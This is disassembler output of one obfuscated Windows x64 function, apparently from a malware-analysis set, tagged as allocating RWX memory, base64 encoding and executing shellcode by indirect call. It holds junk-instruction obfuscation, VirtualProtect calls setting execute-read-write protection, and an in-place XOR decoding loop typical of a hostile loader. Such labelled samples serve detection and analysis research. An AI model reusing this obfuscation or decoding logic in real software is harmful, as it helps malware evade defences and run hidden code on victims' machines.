Function at 0x14068ea78
Capabilities:
Allocate or change rwx memory
Encode data using base64
Execute shellcode via indirect call

Disassembly:
add rcx, 1
jmp 0x14068f29b
xor dx, 0x848e
sal dh, cl
mov edx, dword [rsp + 0x12c]
jmp 0x14068f067
test edx, edx
jmp 0x14068f06e
je 0x14068f369
cmp word [rsp + 0xfe], 0
jbe 0x14068f369
mov rcx, r13
jmp 0x14068f08b
call fcn.140047310
mov rdi, rax
bsr r14w, cx
mov qword [rsp + 0x98], rax
bts r14, rsi
adc r14b, 2
and r15d, edx
mov r14d, r12d
cmp cl, r9b
ror r15b, 0xa6
mov r15, qword [rsp + 0x40]
or cx, 0x533
sar cl, cl
nop
btr ecx, r9d
movzx ecx, word [r15 + 0x1e]
clc
stc
cmp r14d, ecx
jmp 0x14068f0d5
jae 0x14068f35f
lea ecx, [r14 + r14]
cqo
jmp 0x14068f0e6
mov edx, dword [rdi + rcx*4]
clc
lea eax, [rcx + 1]
mov edi, dword [rdi + rax*4]
xor edi, dword [r15 + 8]
bt cx, cx
add rcx, rdx
not ch
xor edi, edx
mov cl, 0x3b
movzx rcx, r10w
movzx ecx, bx
mov rcx, r13
jmp 0x14068f110
call fcn.140047310
mov rbx, rax
not si
bswap si
mov esi, edi
stc
jmp 0x14068f126
btr esi, 0x1f
stc
jmp 0x14068f130
cmp dword [rax], esi
jmp 0x14068f137
je 0x14068f35f
mov r8d, 0x30
movzx cx, dil
lea rdx, [rsp + 0xa8]
movzx cx, r10b
mov rcx, rax
jmp 0x14068f15d
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
mov edx, esi
mov rcx, qword [rsp + 0xa8]
not r8w
clc
sub rdx, rcx
rcl al, cl
lea rax, [rdx + rbx + 4]
or r8b, dl
cmp r11b, 0xa9
mov rdx, qword [rsp + 0xc0]
sar r9w, cl
or r8b, r15b
cmp rdx, rax
cmovb rdx, rax
cwde
movsx r9, bx
mov qword [rsp + 0xc0], rdx
cmovno ax, di
movzx eax, r15w
movsxd rax, ebx
mov eax, dword [rsp + 0xcc]
not r9b
bswap r9
mov dword [rsp + 0x48], eax
movzx r9d, dx
lea r9, [rsp + 0xcc]
cmove r8d, r10d
mov r8d, 0x40
jmp 0x14068f1dd
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jmp 0x14068f1ea
jne 0x14068f248
lea r9, [rsp + 0xcc]
cqo
lea r8d, [rax + 4]
cwd
movzx rcx, sp
cmovle edx, ebx
mov rdx, qword [rsp + 0xc0]
mov cx, 0x852c
movsx cx, dil
not cl
mov rcx, qword [rsp + 0xa8]
jmp 0x14068f227
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [rsp + 0xcc]
test eax, eax
cmove ecx, dword [rsp + 0x48]
clc
jmp 0x14068f241
mov dword [rsp + 0xcc], ecx
mov dword [rbx], esi
jmp 0x14068f24f
bt edi, 0x1f
jmp 0x14068f258
jae 0x14068f310
mov eax, dword [r13 + 0x198]
cmp dword [r13 + 0xfc], eax
jmp 0x14068f271
jne 0x14068f288
lea r9, [r13 + 0x238]
jmp 0x14068f283
jmp 0x14068f294
mov r9, qword [r13 + 0x3d0]
lahf
sar cx, 0x28
sub dil, dil
lahf
mov rcx, r12
mov eax, esi
cmc
cmp rcx, rax
jmp 0x14068f2a6
jae 0x14068f310
movzx r8d, byte [rcx + rbx + 4]
mov al, cl
sal rdx, 0x89
shl dx, cl
shl dl, 0x1e
and eax, 0xf
adc dl, 0x19
mov dx, r9w
movzx edx, byte [rax + r9]
cmp bl, r8b
xor dl, r8b
cmc
test edx, 0xceb00586
mov byte [rcx + rbx + 4], dl
cmp r8b, 0x39
test rcx, rcx
jmp 0x14068f2ea
je 0x14068f307
xor dil, dl
mov byte [rcx + rbx + 4], dil
shrd di, r9w, 0x17
shld edi, r12d, 0x8a
sal dil, 0x91
movzx edi, r8b
jmp 0x14068ea78
lea r9, [rsp + 0x48]
mov r8d, dword [rsp + 0xcc]
cmovs rdx, rbx
mov dx, bp
mov rdx, qword [rsp + 0xc0]
movsx rcx, si
mov cl, bpl
mov rcx, qword [rsp + 0xa8]
jmp 0x14068f340
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
add r14d, 1
mov dil, 0x3d
mov rdi, qword [rsp + 0x98]
jmp 0x14068f35a
jmp 0x14068f0c6
mov esi, 1
jmp 0x14068f37c
mov r15, qword [rsp + 0x40]
bsr rsi, rax
mov esi, 1
stc
clc
test r14b, dl
cmp dword [r15 + 0x24], 0
jmp 0x14068f386
jbe 0x14068f8bf
mov ecx, dword [r15 + 0x6c]
jmp 0x14068f395
call fcn.1400527f0
mov rbx, rax
cwd
mov edi, dword [r15 + 0x6c]
movzx ecx, ax
xchg cx, dx
cwd
mov edx, dword [r15 + 0x24]
mov cx, ax
mov rcx, r13
jmp 0x14068f3ba
call fcn.140047310
mov r8, rax
not r9b
mov r9, rdi
movsx dx, r11b
movsxd rdx, r13d
mov rdx, rdi
mov rcx, rbx
jmp 0x14068f3db
call fcn.1400539d0
mov qword [r13 + 0x3b8], rbx
jmp 0x14068f3ef
mov byte [rsp + 0x1c0], 0x8b
cmc
cmp r10b, bpl
mov byte [rsp + 0x1c1], 0xf8
mov byte [rsp + 0x1c2], 0x3b
mov byte [rsp + 0x1c3], 0xfb
mov byte [rsp + 0x1c4], SafeArrayGetDim
clc
mov byte [rsp + 0x1c5], 0x84
cmc
test esi, r15d
mov byte [rsp + 0x1c6], 0xbf
cmc
cmp r14b, 0xf
mov byte [rsp + 0x1c7], reloc.OLEAUT32.dll_SafeArrayPutElement
test rsp, 0x72231330
mov byte [rsp + 0x1c8], 0x28
test bp, r8w
clc
stc
mov byte [rsp + 0x1c9], 0
cmc
test rbx, r12
cmp bh, 0x1d
mov byte [rsp + 0x1ca], SetErrorInfo
mov byte [rsp + 0x1cb], 0x45
clc
mov byte [rsp + 0x1cc], 0xe8
mov byte [rsp + 0x1cd], 1
stc
cmp dil, 0xbd
mov byte [rsp + 0x1ce], 0
mov byte [rsp + 0x1cf], 0
cmp dword [r15 + 0x44], 0
jmp 0x14068f4a1
je 0x14068f50f
mov eax, dword [r13 + 0x198]
jmp 0x14068f4b3
cmp dword [r13 + 0xfc], eax
jmp 0x14068f4bf
jne 0x14068f4d1
lea rdx, [r13 + 0x238]
jmp 0x14068f4d8
mov rdx, qword [r13 + 0x3d0]
lea rdi, [rsp + 0x1c0]
mov rcx, r12
cmp rcx, 0x10
jmp 0x14068f4ec
jae 0x14068f50f
movzx eax, byte [rcx + rdx]
mov byte [rcx + rdi], al
cmp bl, 0x24
jmp 0x14068f501
add rcx, 1
jmp 0x14068f50a
jmp 0x14068f4e3
mov r14d, esi
sbb rcx, r14
mov edx, r12d
movzx ecx, byte [rbx]
clc
test cl, cl
js 0x14068f53a
movzx edx, cl
not di
movzx edi, r11w
mov edi, esi
jmp 0x14068f535
jmp 0x14068f621
movzx eax, cl
cmp rdi, 0x3e0c331a
test r10w, 0xe1b
and al, 0xc0
stc
test r12d, 0xefbf3b05
cmp al, 0x80
jmp 0x14068f55b
jne 0x14068f59c
mov dl, cl
ror dil, cl
sal eax, 0xb0
movsx edi, r8w
and edx, 0x3f
rcl dil, cl
movzx rdi, r11w
shl edx, 8
movzx eax, byte [rbx + 1]
cmp r11b, 0xf
sbb edi, ebp
rcr edi, cl
or edx, eax
movzx di, r9b
mov edi, 2
jmp 0x14068f597
jmp 0x14068f621
movzx eax, cl
cmp rcx, 0xffffffffa42e30a4
stc
and al, 0xe0
clc
cmp al, 0xc0
jmp 0x14068f5b1
jne 0x14068f615
mov dl, cl
and edx, 0x1f
shl edx, 8
movzx rdi, r11w
movzx eax, byte [rbx + 1]
sar rdi, cl
or edx, eax
bts di, r15w
xor al, 1
cbw
shl edx, 8
movzx eax, byte [rbx + 2]
bt di, r9w
cmovs edi, r11d
or edx, eax
sal eax, 0
bt di, 0xb8
shl edx, 8
movzx eax, byte [rbx + 3]
sar rdi, 0x88
cmc
test r15w, 0x5808
or edx, eax
movzx edi, r15w
movzx rdi, sp
mov edi, 4
jmp 0x14068f621
or edi, 0xffffffff
mov r11w, r14w
and sil, 0x37
cmc
mov r9d, dword [rsp + 0x1cc]
xchg esi, r10d
mov r10d, dword [rsp + 0x1c8]
shrd esi, r14d, 0xbf
mov r11d, dword [rsp + 0x1c4]
shr sil, cl
mov esi, dword [rsp + 0x1c0]
cmp dil, cl
cmp r11w, 0x5525
nop
nop
test ecx, 0x9222b2a4
test edx, edx
jmp 0x14068f666
je 0x14068f8ba
cmp edi, 0xffffffff
je 0x14068f8ba
test edi, edi
jmp 0x14068f67c
je 0x14068f8ba
cmp r14d, dword [r15 + 0x6c]
jmp 0x14068f68b
jae 0x14068f8ba
mov eax, dword [r15 + 8]
btr r8d, 0x2d
dec r8w
xor eax, r14d
rol ch, 0x1b
sub rcx, 0xffffffffd1be7633
test bh, 0x21
xor esi, eax
shl r8d, cl
sbb ch, bl
add r8b, r10b
xor r11d, eax
adc cl, r12b
movsx r8, bp
xor r10d, eax
jmp 0x14068f6ca
xor r9d, eax
and r8w, r12w
cmovno ecx, r8d
mov eax, dword [rsp + 0x68]
adc cl, 0xa
and r8w, r15w
xor esi, eax
sbb rcx, r10
bt cx, 0x32
mov dword [rsp + 0x1c0], esi
bt r8, r10
neg r8w
bsf r8d, esp
xor r11d, eax
mov dword [rsp + 0x1c4], r11d
sub ch, 0xac
xor r10d, eax
shr r8b, 0x28
mov dword [rsp + 0x1c8], r10d
movsx r8w, dl
bsr cx, r14w
test ah, 0x8b
xor r9d, eax
and r8b, cl
cmp di, bp
mov dword [rsp + 0x1cc], r9d
adc r8w, bp
shl cl, cl
mov eax, edi
or r8d, ecx
add rbx, rax
btc r8w, r12w
mov cx, 0xbb19
lea r8d, [rdx - 1]
cmp dil, 0x86
adc ch, 0x1c
mov rcx, r12
shr rax, 0x31
nop
cwde
or rax, rsi
mov eax, r8d
cmp al, sil
cmp rcx, rax
jmp 0x14068f774
jae 0x14068f7ab
mov al, cl
clc
and eax, 0xf
cmc
cmp dil, r14b
movzx eax, byte [rsp + rax + 0x1c0]
test bl, r10b
test cl, 0xb7
xor byte [rcx + rbx], al
cmp r13b, 5
stc
test edi, r11d
add rcx, 1
jmp 0x14068f7a6
jmp 0x14068f766
mov eax, edx
sar ecx, 0xa7
add rbx, rax
btc cx, cx
adc rcx, 0x402d4ea0
lea eax, [rdi + rdx]
xchg ch, ch
sal ch, 0x9a
add r14d, eax
sal dx, cl
mov edx, r12d
rcl cx, 0xba
rcl ch, cl
movzx ecx, byte [rbx]
cmp ebx, eax
test bl, r12b
test cl, cl
jmp 0x14068f7e4
js 0x14068f7fc
movzx edx, cl
mov edi, 1
jmp 0x14068f7f7
jmp 0x14068f65f
movzx eax, cl
and al, 0xc0
test sil, 0xa9
cmp dil, cl
cmp al, 0x80
jmp 0x14068f80f
jne 0x14068f848
mov dl, cl
adc rdi, 0x77b7ee08
and edx, 0x3f
shl dil, cl
shl edx, 8
movzx eax, byte [rbx + 1]
movsx edi, r8w
bts rdi, r11
cmovns edi, esp
or edx, eax
bswap edi
movzx rdi, ax
mov edi, 2
jmp 0x14068fc17
movzx eax, cl
test edx, eax
and al, 0xe0
cmp al, 0xc0
jne 0x14068f8ad
mov dl, cl
cmove ax, r8w
and edx, 0x1f
stc
shl edx, 8
movzx eax, byte [rbx + 1]
adc dil, 0x8c
or edx, eax
shr eax, 0x95
movsxd rax, esi
shl edx, 8
movzx eax, byte [rbx + 2]
movsx edi, r13w
rcr dil, cl
or edx, eax
shl edx, 8
movzx eax, byte [rbx + 3]
and di, r13w
sub rdi, rcx
or edx, eax
movzx rdi, r13w
movzx edi, bx
bswap edi
mov edi, 4
jmp 0x14068f8a8
jmp 0x14068f65f
or edi, 0xffffffff
jmp 0x14068f8b5
jmp 0x14068f65f
jmp 0x14068f8bf
nop
jmp 0x14004de6c
jmp 0x14068f65f